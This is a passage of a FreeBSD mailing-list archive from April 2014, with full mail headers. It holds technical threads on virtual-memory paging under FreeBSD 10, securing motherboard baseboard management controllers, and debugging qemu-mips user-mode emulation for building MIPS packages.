<201404031102.38598.jhb@freebsd.org> <201404041612.35889.jhb@freebsd.org> <5426E303-E35B-4D4A-AB62-3571228A5A2C@gmail.com> To: John Baldwin X-Mailer: Apple Mail (2.1874) Cc: freebsd-hackers@freebsd.org, =?utf-8?Q?Trond_Endrest=C3=B8l?= X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 05 Apr 2014 20:11:57 -0000 On 05 =D0=B0=D0=BF=D1=80. 2014 =D0=B3., at 1:02, Dmitry Sivachenko = wrote: > On 05 =D0=B0=D0=BF=D1=80. 2014 =D0=B3., at 0:12, John Baldwin = wrote: >=20 >>=20 >> MADV_WILLNEED is not going to give you what you want. OTOH, if you = haven't >> tried FreeBSD 10 yet, I would suggest trying that. There have been = changes >> to pagedaemon that might make it do a better job of kicking out the = pages >> of the log files automatically. >>=20 >=20 >=20 > I did. My situation became worse after I moved from stable/9 to = stable/10. > My feeling is that stable/10 pushes rarely used mmaped pages out of = RAM more aggressively than stable/9 did. >=20 > For now, the only solution I found is doing msync(MS_INVALIDATE) on = log files after gzipping and after backup via rsync. > This moves corresponding memory pages from Inactive to Free and = prevents system to occupy all free memory with cached log files and to = purge mmaped data out of RAM to accomodate more disk cache. >=20 > What I would love to see is an ability to tell OS not to release = mmaped data unless "really needed" (disk cache is not an excuse). One more observation as it seems to be related. If my program allocates RAM via malloc() rather than mmap(), I see that = VM swaps rarely used parts of malloced data out as disk is being used (more and more memory goes to Inactive with cached files content). This is also different from stable/9 and seems not good. Why to keep = cached content of files forever? (seems there is no timeout for keeping = cached files content in Inactive state). So after few days of uptime = all available RAM is either in Active state with frequently used pages = of running processes or in Inactive state with cached files data. = Rarely used parts of processes memory goes to swap. From owner-freebsd-hackers@FreeBSD.ORG Sat Apr 5 20:27:31 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 15EFCA3B for ; Sat, 5 Apr 2014 20:27:31 +0000 (UTC) Received: from cargobay.net (cargobay.net [162.220.58.155]) by mx1.freebsd.org (Postfix) with ESMTP id E40E8AB1 for ; Sat, 5 Apr 2014 20:27:30 +0000 (UTC) Received: from [10.73.134.107] (mobile-198-228-209-240.mycingular.net [198.228.209.240]) by cargobay.net (Postfix) with ESMTPSA id DBF96B98; Sat, 5 Apr 2014 20:19:10 +0000 (UTC) Content-Type: text/plain; charset=us-ascii Mime-Version: 1.0 (1.0) Subject: Re: Securing baseboard managers From: "Chad J. Milios" X-Mailer: iPhone Mail (11D167) In-Reply-To: Date: Sat, 5 Apr 2014 13:20:57 -0700 Content-Transfer-Encoding: quoted-printable Message-Id: <319928A2-C5FE-4BCA-A217-341DFD319FA7@ccsys.com> References: To: Kamil Choudhury X-Mailman-Approved-At: Sat, 05 Apr 2014 20:51:16 +0000 Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 05 Apr 2014 20:27:31 -0000 > On Apr 5, 2014, at 8:00 AM, Kamil Choudhury wrote: >=20 > First, a quick story.=20 >=20 > A new motherboard I just bought has one of those out of band management=20= > Ethernet ports. When I connected it into my cable router, despite the=20 > cord being plugged into the non-baseboard Ethernet port, the baseboard=20 > grabbed my public IP (I use this box as a router) instead of FreeBSD.=20 >=20 > So. I exposed the baseboard's janky operating system running god knows=20 > what ancient version of Linux to the internet, and momentarily gave all=20= > comers (the credentials were, of course, admin/admin) the power to=20 > remotely reboot my computer. Yikes.=20 >=20 > The stakes here were low: I was at home, and there's really nothing all=20= > that valuable on my network. But at the end of the day, these baseboard > controllers are running unmanaged, unaudited code on our networks, and=20 > that scares me.=20 >=20 > So...my questions:=20 >=20 > 1/ How do you protect yourself against this kind of vulnerability? Am I > paranoid for even thinking this is a problem?=20 >=20 > 2/ While out of band management is useful, I just can't bring myself to=20= > trust software that seems to have been written by poo-flinging monkeys > (seriously, you need to see the browser-based UI they provide: frames! > ! Java applets!). Is there any way to replace the vendor provided=20= > solution with something more auditable and configurable? Maybe a teeny-tin= y=20 > BSD-based distribution?=20 >=20 > I spend my days doing application development, so I am probably missing=20= > a lot of perspective that more systems-oriented people have. If my=20 > questions are ridiculous, feel free to tell me so and send me on my way! >=20 > Thanks in advance,=20 > Kamil There is likely a setting in the mainboard's BIOS which makes the baseboard'= s NIC fail-over to sharing a mainboard port only when the baseboard's dedica= ted port lacks a link (default). Shared-always and dedicated-only are option= s. At any rate, the baseboard has it's own MAC address. Most baseboards can b= e configured with a VLAN tag as well. The default setting can be problematic when that port is hooked up to the WA= N because the baseboard is in almost every case initialized first and might e= ven be set to poll DHCP.= From owner-freebsd-hackers@FreeBSD.ORG Sun Apr 6 02:59:16 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 30527CB for ; Sun, 6 Apr 2014 02:59:16 +0000 (UTC) Received: from mail-pd0-f182.google.com (mail-pd0-f182.google.com [209.85.192.182]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 003C2AC5 for ; Sun, 6 Apr 2014 02:59:15 +0000 (UTC) Received: by mail-pd0-f182.google.com with SMTP id y10so5003683pdj.41 for ; Sat, 05 Apr 2014 19:59:09 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:sender:content-type:mime-version:subject:from :in-reply-to:date:cc:content-transfer-encoding:message-id:references :to; bh=X1MojKbovfYqN5u8CiurO61nINuZuWoJ36WketBqrUc=; b=QWc8bixVOOdaqU8oGHdEB+XQlBKJt3OVtUVBIKKfwxFdo6gM2RIjX7STAniPMZddSv xvkxfN1/TbkqY1QVDibeeL3AlfroiVfeW8ukYkX5CRhYEMVTcmF+xbIP9tgQtqE0fZbP JEk0AdCKgp1/44EumOuM70oCU3GSTu/7oe+ms6fZF/1QerdCB9kKKebk2yGBTywJXVf9 weIoIrOxeqqAdqXLyNtKEEsJpJFvuuRi3asttAer8WNP0IvhdtrFFfxrL+CmBMQlJ/Sy XJ6hE/DMZqfHTJ6f+F9j6yWWj+Hw/OVi6DWs1Gww1UIr9JucnqGpX80HF+Y3dN73HUkz vObQ== X-Gm-Message-State: ALoCoQlKahuItrvnqALaRfg30JKu7J3FY3EwSjl9RGPFCj+emkGgcMV1REmcytgofOtSZkaf4pz+ X-Received: by 10.66.139.70 with SMTP id qw6mr370705pab.111.1396753149344; Sat, 05 Apr 2014 19:59:09 -0700 (PDT) Received: from lgmac-josharris.corp.netflix.com (dc1-prod.netflix.com. [69.53.236.251]) by mx.google.com with ESMTPSA id xz7sm64125943pac.3.2014.04.05.19.59.07 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sat, 05 Apr 2014 19:59:08 -0700 (PDT) Sender: Warner Losh Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: qemu-mips illegal instruction From: Warner Losh In-Reply-To: <1396651226.1475.41.camel@powernoodle.corp.yahoo.com> Date: Sat, 5 Apr 2014 20:59:06 -0600 Content-Transfer-Encoding: quoted-printable Message-Id: References: <1395337352.7757.11.camel@powernoodle.corp.yahoo.com> <1395599440.67694.13.camel@powernoodle.corp.yahoo.com> <1396029630.1466.21.camel@powernoodle.corp.yahoo.com> <1396635066.1475.25.camel@powernoodle.corp.yahoo.com> <1396651226.1475.41.camel@powernoodle.corp.yahoo.com> To: sbruno@freebsd.org X-Mailer: Apple Mail (2.1874) Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Apr 2014 02:59:16 -0000 On Apr 4, 2014, at 4:40 PM, Sean Bruno wrote: > On Fri, 2014-04-04 at 11:11 -0700, Sean Bruno wrote: >> On Fri, 2014-03-28 at 11:00 -0700, Sean Bruno wrote: >>>> This problem seems to be caused by a endian issue in qemu-mips. Ed >>>> Maste found the culprit and I've applied it here: >>>>=20 >>>> = https://github.com/seanbruno/qemu/commit/05ee8495804599b52a88eb36b13ea9c06= b3207cd >>>>=20 >>>> Which is my combined tracking branch for qemu and sson's bsd-user >>>> branch. >>>>=20 >>>> I'm currently tracking an "illegal instruction" on exit issue that = seems >>>> to happen on application exit causing a crash. >>>>=20 >>>> sean >>>=20 >>>=20 >>> I've been tracking qemu upstream with sson's patches and massaging >>> things here and there with the bsd-user mode qemu. >>>=20 >>> https://github.com/seanbruno/qemu/tree/bsd-user >>>=20 >>> That in combination with sson's kernelmod/userland tool allows me to >>> "chroot" into a mips environment suitable for building packages. >>> http://people.freebsd.org/~sson/imgact_binmisc/imgact_binmisc.diff >>>=20 >>> Currently, if I explicitly pass a shell into the chroot command, I = have >>> no issues and all is well. e.g. chroot /mipsbuild /bin/sh >>>=20 >>> If I do not explicitly pass a shell, I get an illegal instruction = core >>> dump from qemu-mips on exit from any command I run in the chroot: >>>=20 >>> chroot /mipsbuild >>> uname -a >>> >>> (Illegal Instruction)[coredump] >>>=20 >>> This breaks poudriere right now. >>>=20 >>>=20 >>> More or less this is my recipe: >>> - built a mips32 world for "chroot" purposes: >>> - use sson's binmisc ELF interceptor thing: >>> - run binmiscctl: >>> binmiscctl add mips32 --interpreter "/bin/qemu-mips" --magic = "\x7f\x45 >>> \x4c\x46\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00 >>> \x08" --mask = "\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff >>> \xff\xff\xff\xfe\xff\xff" --size 20 --set-enabled >>>=20 >>>=20 >>> - chroot /mipsbuild >>> - uname -a (Illegal Instruction and coredump ON EXIT) >>>=20 >>> - chroot /mipsbuild /bin/sh >>> - uname -a (works everytime) >>>=20 >>>=20 >>> sean >>=20 >> I've narrowed this down with some help from #bsdmips: >>=20 >> env SHELL=3D/bin/sh chroot /mipsbuild --> no issues running commands >>=20 >> env SHELL=3D/bin/csh chroot /mipsbuild >> env SHELL=3D/bin/tcsh chroot /mipsbuild --> both of these cause = illegal >> instructions in qemu-mips >>=20 >> Juregen came up with a patch that makes the amd64 version of = qemu-mips >> work, so there's no need to xbuild the i386 version now, so thanks = for >> that! >>=20 >> sean >>=20 >> ref https://github.com/seanbruno/qemu/tree/bsd-user >>=20 >>=20 >=20 >=20 > And finally, thanks to peter, we have a 1bit change for 32bit mips = that > seems to work. >=20 > = https://github.com/seanbruno/qemu/commit/d62553b108aa27c0c020dbb771d29f867= 3807a3b >=20 >=20 > Doing a test run now. this might mean that 32bit mips packages might > exist this weekend in some form. Doesn=92t that daddu turn into a simple addu with that bit change? Warner= From owner-freebsd-hackers@FreeBSD.ORG Sun Apr 6 08:38:04 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 6EE0F1F1; Sun, 6 Apr 2014 08:38:04 +0000 (UTC) Received: from mail-la0-x22d.google.com (mail-la0-x22d.google.com [IPv6:2a00:1450:4010:c03::22d]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id BC2566EF; Sun, 6 Apr 2014 08:38:03 +0000 (UTC) Received: by mail-la0-f45.google.com with SMTP id hr17so3779259lab.18 for ; Sun, 06 Apr 2014 01:38:01 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=content-type:mime-version:subject:from:in-reply-to:date:cc :content-transfer-encoding:message-id:references:to; bh=YCJHs6lB5KnWNzozBH5kCHf8NseZMTtr9Lu0LPWsHM4=; b=0TqFoorZh/P4/GrtgfkdK3AeDZPHVEp+FHjUdvO/yqr7KdgqSli+bxwFm3CCoQ0j7t L2SQFZz2WrG0S9tVyaRm4uckAb9H5k0ch1A53OMqRRH/fK58BmqltSrcjMitYQZVRcYT dcnwwVbt1+ZTlvhCcNuIOUQd0CaBqOYUINkrhx7WL/8WReqrVTzR/oQiu5NHdFk6UEKB /oBNt72Rbt3c3S2HGe9galAiSt5tHtaF2Zo/+qUAgcMMGfJCW+DFfV6uZ2/HZnrVoFhh /k0e9J0BQr3ek3FN9lDGT07TIgiLS1eluzjbH4QDfl/RU3hNNilFMhWLvSSM1WKtOygr mXTA== X-Received: by 10.112.51.202 with SMTP id m10mr26198lbo.63.1396773481617; Sun, 06 Apr 2014 01:38:01 -0700 (PDT) Received: from [10.0.1.9] ([176.193.27.55]) by mx.google.com with ESMTPSA id wm1sm13121602lac.14.2014.04.06.01.37.59 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 06 Apr 2014 01:37:59 -0700 (PDT) Content-Type: text/plain; charset=utf-8 Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: madvise() vs posix_fadvise() From: Dmitry Sivachenko In-Reply-To: <8DAE3175-FE32-4D17-A386-063DDB6C45F7@gmail.com> Date: Sun, 6 Apr 2014 12:37:57 +0400 Content-Transfer-Encoding: quoted-printable Message-Id: <00B9699B-80D2-40E6-AA51-7B15191A4BDE@gmail.com> References: <201404031102.38598.jhb@freebsd.org> <201404041612.35889.jhb@freebsd.org> <5426E303-E35B-4D4A-AB62-3571228A5A2C@gmail.com> <8DAE3175-FE32-4D17-A386-063DDB6C45F7@gmail.com> To: John Baldwin X-Mailer: Apple Mail (2.1874) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Apr 2014 08:38:04 -0000 On 06 =D0=B0=D0=BF=D1=80. 2014 =D0=B3., at 0:11, Dmitry Sivachenko = wrote: >=20 > On 05 =D0=B0=D0=BF=D1=80. 2014 =D0=B3., at 1:02, Dmitry Sivachenko = wrote: >=20 >> On 05 =D0=B0=D0=BF=D1=80. 2014 =D0=B3., at 0:12, John Baldwin = wrote: >>=20 >>>=20 >>> MADV_WILLNEED is not going to give you what you want. OTOH, if you = haven't >>> tried FreeBSD 10 yet, I would suggest trying that. There have been = changes >>> to pagedaemon that might make it do a better job of kicking out the = pages >>> of the log files automatically. >>>=20 >>=20 >>=20 >> I did. My situation became worse after I moved from stable/9 to = stable/10. >> My feeling is that stable/10 pushes rarely used mmaped pages out of = RAM more aggressively than stable/9 did. >>=20 >> For now, the only solution I found is doing msync(MS_INVALIDATE) on = log files after gzipping and after backup via rsync. >> This moves corresponding memory pages from Inactive to Free and = prevents system to occupy all free memory with cached log files and to = purge mmaped data out of RAM to accomodate more disk cache. >>=20 >> What I would love to see is an ability to tell OS not to release = mmaped data unless "really needed" (disk cache is not an excuse). >=20 >=20 > One more observation as it seems to be related. > If my program allocates RAM via malloc() rather than mmap(), I see = that VM swaps rarely used parts of malloced data out as disk is being = used > (more and more memory goes to Inactive with cached files content). >=20 > This is also different from stable/9 and seems not good. Why to keep = cached content of files forever? (seems there is no timeout for keeping = cached files content in Inactive state). So after few days of uptime = all available RAM is either in Active state with frequently used pages = of running processes or in Inactive state with cached files data. = Rarely used parts of processes memory goes to swap. >=20 >=20 Look at this (top output is sorted by size): last pid: 2945; load averages: 8.94, 8.88, 9.23 up 25+20:18:46 = 12:33:26 94 processes: 6 running, 86 sleeping, 2 zombie CPU: 22.2% user, 0.0% nice, 0.6% system, 0.0% interrupt, 77.2% idle Mem: 76G Active, 161G Inact, 7485M Wired, 3504M Cache, 1937M Buf, 1906M = Free Swap: 24G Total, 1435M Used, 23G Free, 5% Inuse, 12K In, 196K Out PID USERNAME THR PRI NICE SIZE RES STATE C TIME WCPU = COMMAND 2330 mitya 1 27 0 24611M 24626M piperd 12 10:10 10.25% = gsort 99508 mitya 1 103 0 15502M 12382M CPU15 15 652:49 100.00% = mkcls 79062 mitya 1 52 0 11396M 10721M swread 22 69.2H 87.26% = aliw 80062 mitya 1 52 0 11282M 10666M swread 27 67.0H 80.18% = aliw 1832 mitya 1 103 0 8940M 8707M CPU28 28 232:09 100.00% = aliw 1871 mitya 1 103 0 8326M 8258M CPU11 11 219:13 100.00% = aliw 2329 mitya 1 52 0 5335M 5043M getblk 12 109:49 86.57% = phraset 2002 mitya 1 52 0 3810M 3232M wswbuf 3 186:33 98.39% = phraset 2035 mitya 1 102 0 3810M 3232M CPU16 16 179:33 98.68% = phraset 2555 mitya 1 103 0 2416M 2196M CPU20 20 81:34 100.00% = aliw 2038 mitya 1 23 0 150M 4808K piperd 29 0:00 0.00% = nbest 2005 mitya 1 22 0 150M 4808K piperd 3 0:00 0.00% = nbest 1381 root 2 20 0 106M 23684K select 18 0:57 0.00% = ruby19 64642 mitya 1 20 0 96608K 1792K select 22 0:37 0.00% = sshd 2864 root 1 20 0 92512K 5392K select 6 0:00 0.00% = sshd 2866 mitya 1 20 0 92512K 5384K select 18 0:00 0.00% = sshd 98119 mitya 1 20 0 92512K 2096K select 23 0:07 0.00% = sshd This machine has 256GB of RAM and all running processes use less than = 100GB. But since now all Free memory moved to Inactive state greedily holding = cached files, we see processes are swapping. This strategy could be beneficial for file servers, but not for other = use cases.= From owner-freebsd-hackers@FreeBSD.ORG Sun Apr 6 14:55:29 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 416C81F0 for ; Sun, 6 Apr 2014 14:55:29 +0000 (UTC) Received: from mailomat.net (mailomat.net [81.20.89.254]) (using TLSv1 with cipher DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id B4A1B622 for ; Sun, 6 Apr 2014 14:55:28 +0000 (UTC) X-Junk-Score: 2 [X] X-SpamCatcher-Score: 2 [X] X-Junk-Score: 0 [] X-Cloudmark-Score: 0 [] X-Cloudmark-Analysis: v=2.1 cv=f6ZxWoCM c=1 sm=1 tr=0 a=/nRDZZJyYxTE/j0HnTmKXw==:117 a=/nRDZZJyYxTE/j0HnTmKXw==:17 a=Cln8rwbaxfUA:10 a=ZDwDCB9QlRsA:10 a=QX6QvZ3GsOUA:10 a=JysbXFYnAAAA:8 a=dAPAsP0gAAAA:8 a=3wrpl_rMAAAA:8 a=NUNO_Q2GAAAA:8 a=WiKh_rET03uGXeY3LiAA:9 a=pILNOxqGKmIA:10 a=V2UAm2ivfr4A:10 a=-mD4bCdHlbEA:10 a=qfQzaZuGX9vIp4vycI4A:9 a=ZVk8-NSrHBgA:10 Received: from [194.39.192.125] (account bnc-mail@mailrelay.mailomat.net HELO bnc.net) by mailomat.net (CommuniGate Pro SMTP 6.0.5) with ESMTPSA id 65541561; Sun, 06 Apr 2014 16:55:17 +0200 X-Junk-Score: 2 [X] X-SpamCatcher-Score: 2 [X] Received: from [192.168.200.188] (account ap@bnc.net HELO [192.168.200.188]) by bnc.net (CommuniGate Pro SMTP 6.0.5) with ESMTPSA id 7063031; Sun, 06 Apr 2014 16:55:17 +0200 Content-Type: multipart/signed; boundary="Apple-Mail=_9F77695C-54D2-41D7-B58E-EDC841F91465"; protocol="application/pkcs7-signature"; micalg=sha1 Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: Securing baseboard managers From: Achim Patzner In-Reply-To: Date: Sun, 6 Apr 2014 16:55:12 +0200 Message-Id: <793A8C91-A1FB-4A83-A9D7-F8BFDF87EB1B@bnc.net> References: To: Jordan Hubbard X-Mailer: Apple Mail (2.1874) Cc: Kamil Choudhury , "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Apr 2014 14:55:29 -0000 --Apple-Mail=_9F77695C-54D2-41D7-B58E-EDC841F91465 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=windows-1252 Am 05.04.2014 um 17:54 schrieb Jordan Hubbard : > On Apr 5, 2014, at 8:00 PM, Kamil Choudhury = wrote: >=20 >> I spend my days doing application development, so I am probably = missing=20 >> a lot of perspective that more systems-oriented people have. If my=20 >> questions are ridiculous, feel free to tell me so and send me on my = way! >=20 > All IPMI implementations suck. You missed the point =96 he was probably talking about the rest of the = package, not about the IPMI part. And looking at the latest incarnation = of the Intel RMM (RMM4) I can=92t even share that feeling. Besides: In = emergencies even IPMI is quite a good tool to deal with a machine = hanging some 1000 km away without having to send a trained monkey (who = won=92t even find the reset button) there. But you don=92t have to use = it as most serious hardware is offering this via web pages. We had (PDP11-based) Console Processors on the first VAX systems so = people should maybe consider getting used to this concept. In regards to = security they are at least as trustworthy as most of the operating = systems people are using every day. > To remotely render an interactive console in someone=92s browser, = where said browser could be any one of 6 different flavors, you have to = lean pretty heavily on the client side - especially if you want to offer = tricks like virtual CD-to-local-ISO mapping (which is pretty handy). Now _these_ are the parts which are not difficult at all. At least in = those implementations I know the hardware doesn=92t even have to capture = a video signal off a VGA connector (like some KVM switches) as it is = directly connected to the video hardware (i. e. this is more like = streaming a movie). Doing the =93block device over IP=94 is even simpler = (on the server side =96 but who cares how the RMM is doing its job?). > =46rom the security side, most reasonable motherboards don=92t feature = NIC sharing as the only option. Some boards do (but those will offer you VLAN support, setting static IP = addresses and similar goodies); some engineers have a weird fetish to = build complete servers on nanoATX boards, running out of room for = connectors. Achim= --Apple-Mail=_9F77695C-54D2-41D7-B58E-EDC841F91465 Content-Disposition: attachment; filename=smime.p7s Content-Type: application/pkcs7-signature; name=smime.p7s Content-Transfer-Encoding: base64 MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIFaTCCBWUw ggNNoAMCAQICAwyteTANBgkqhkiG9w0BAQUFADB5MRAwDgYDVQQKEwdSb290IENBMR4wHAYDVQQL ExVodHRwOi8vd3d3LmNhY2VydC5vcmcxIjAgBgNVBAMTGUNBIENlcnQgU2lnbmluZyBBdXRob3Jp dHkxITAfBgkqhkiG9w0BCQEWEnN1cHBvcnRAY2FjZXJ0Lm9yZzAeFw0xMzAxMDIwOTQ1MTVaFw0x NTAxMDIwOTQ1MTVaMDMxFjAUBgNVBAMTDUFjaGltIFBhdHpuZXIxGTAXBgkqhkiG9w0BCQEWCmFw QGJuYy5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCemZ2gCwrtE8FYdD42ApLp AyRBcfTJHRaU5R/rTbpBTIbDQn4ESOg0697sOlMjiNlzgvuTJeGDSd6DLREb5pJqqNyzW5kTu1yN dzI8442GxyZAYImcXpQNvvA5OxH4GRwzcjlIie5TDZll1pA+OQwDfPWeosfUugHaDU6KuX6QhrJx JYdweO7ZOb9jL2iJGco3QCQKPoqbLt+NmIyV48DsB12H7oW7NI9E5CfiRQqMioVVUvkRWL2w+1MQ +ymaXl0KOqRZOzhKYJpoRmLxO/hKgBTn2MsEqtqMp5gemM3hRKF14MSo85nNqMv25AYJapkENazR hUmISG+1y6/goSJNAgMBAAGjggE6MIIBNjAMBgNVHRMBAf8EAjAAMFYGCWCGSAGG+EIBDQRJFkdU byBnZXQgeW91ciBvd24gY2VydGlmaWNhdGUgZm9yIEZSRUUgaGVhZCBvdmVyIHRvIGh0dHA6Ly93 d3cuQ0FjZXJ0Lm9yZzAOBgNVHQ8BAf8EBAMCA6gwQAYDVR0lBDkwNwYIKwYBBQUHAwQGCCsGAQUF BwMCBgorBgEEAYI3CgMEBgorBgEEAYI3CgMDBglghkgBhvhCBAEwMgYIKwYBBQUHAQEEJjAkMCIG CCsGAQUFBzABhhZodHRwOi8vb2NzcC5jYWNlcnQub3JnMDEGA1UdHwQqMCgwJqAkoCKGIGh0dHA6 Ly9jcmwuY2FjZXJ0Lm9yZy9yZXZva2UuY3JsMBUGA1UdEQQOMAyBCmFwQGJuYy5uZXQwDQYJKoZI hvcNAQEFBQADggIBAMmLFZrEKQJqqmh+r8IzcfPl04h4ArE8O+I0BTN0r22hy4izV+F2Qvkwy02g uM8ylmUdCdIFXUQ8joPVT3RJqZ/NmDsdbFq4RziDbF/C219RfTRL1nWcNxudGA4vSLbuBTxD2bSx BkmjRdmpGm3EGwRp7bLtnONuTVBxK7TDculECUbm0Bwh9RAtZr/Gqk5arj5oO0oI9vKdRDVWCUxF m1kS7gwGfVtv2DKFDh3VBqB6kXfx5nP/LOcb7Rwpu4GzBU/e1OFswha9maU9Qi/9URX07Q47dOBc pqhNh5pW12kfeZPO7lcGqfYq08Ub/mKaJcAEaoyD2ILDDhzeeOK3QDlKC56lEt8MW4swef6/MPUh +WuofauNhBXoecf5XonGNuKEhbSmSykSzwoEBdBAO6QUtnpLTlYSeO3Xg/bYfbwJCGkUnd0q+2Q1 fQpN+RxkYqQCb5XaV9Fz7cU4u36Rc/AMDXr+qXEyvOqB7OzeTgjq06VMNQ+mIrGCS9rb7OQmB1o7 8PCOVTqE8z77Du4Bh14wG/SP/kat5IJSuDFjvFT/C8ro46pOfczfq/Eb4QSktwtbD7+Qlh4p/e0B n4nyK1M1MyDnQxzv2XvmWfwoi0tUP2dkT30YtUuucWYFzRO1erg4tVd4xW0ShP1VtynFyWQcPaLT LvWc/0VML6hcaWRuMYIDMzCCAy8CAQEwgYAweTEQMA4GA1UEChMHUm9vdCBDQTEeMBwGA1UECxMV aHR0cDovL3d3dy5jYWNlcnQub3JnMSIwIAYDVQQDExlDQSBDZXJ0IFNpZ25pbmcgQXV0aG9yaXR5 MSEwHwYJKoZIhvcNAQkBFhJzdXBwb3J0QGNhY2VydC5vcmcCAwyteTAJBgUrDgMCGgUAoIIBhzAY BgkqhkiG9w0BCQMxCwYJKoZIhvcNAQcBMBwGCSqGSIb3DQEJBTEPFw0xNDA0MDYxNDU1MTJaMCMG CSqGSIb3DQEJBDEWBBQ+25TBiy6AFEtHnNvzLgCqgLp+6zCBkQYJKwYBBAGCNxAEMYGDMIGAMHkx EDAOBgNVBAoTB1Jvb3QgQ0ExHjAcBgNVBAsTFWh0dHA6Ly93d3cuY2FjZXJ0Lm9yZzEiMCAGA1UE AxMZQ0EgQ2VydCBTaWduaW5nIEF1dGhvcml0eTEhMB8GCSqGSIb3DQEJARYSc3VwcG9ydEBjYWNl cnQub3JnAgMMrXkwgZMGCyqGSIb3DQEJEAILMYGDoIGAMHkxEDAOBgNVBAoTB1Jvb3QgQ0ExHjAc BgNVBAsTFWh0dHA6Ly93d3cuY2FjZXJ0Lm9yZzEiMCAGA1UEAxMZQ0EgQ2VydCBTaWduaW5nIEF1 dGhvcml0eTEhMB8GCSqGSIb3DQEJARYSc3VwcG9ydEBjYWNlcnQub3JnAgMMrXkwDQYJKoZIhvcN AQEBBQAEggEAji2BaE1CQ/Ih5ljOvBOqNbbQrgghYhWkKbDzO5/HGg8dOxGz+EbJENZ00nl80v8t sa2PRX2EwWhq1Jkviy6S+YPzcTiXMu4QxC4EanT6Yo+ZONwBCzLB/XpF3DzUX0j51uTs+4u+L6Yx 3yDGayPZKcpoU976nOfYevVkps+zGUgxvZIXEz011XthcAKoGSIffCBC3DpsE9IiywCinGIg9ZtJ xcZ/Z+PnmiSpmj9USm/Tam4wl8D9QSulamTCtyBk816DGV6UqcM9KxRy/eL9OAZR7WuSFMf2las4 OaVxg/O9ph3k4Ghu7sat/YDFOsCFONb0hLHjMe4jBpuPcYYanwAAAAAAAA== --Apple-Mail=_9F77695C-54D2-41D7-B58E-EDC841F91465-- From owner-freebsd-hackers@FreeBSD.ORG Sun Apr 6 14:59:09 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 40E662E7 for ; Sun, 6 Apr 2014 14:59:09 +0000 (UTC) Received: from mail.ignoranthack.me (ujvl.x.rootbsd.net [199.102.79.106]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 1A1B8641 for ; Sun, 6 Apr 2014 14:59:08 +0000 (UTC) Received: from [192.168.1.102] (c-24-6-177-88.hsd1.ca.comcast.net [24.6.177.88]) (using SSLv3 with cipher DHE-RSA-AES128-SHA (128/128 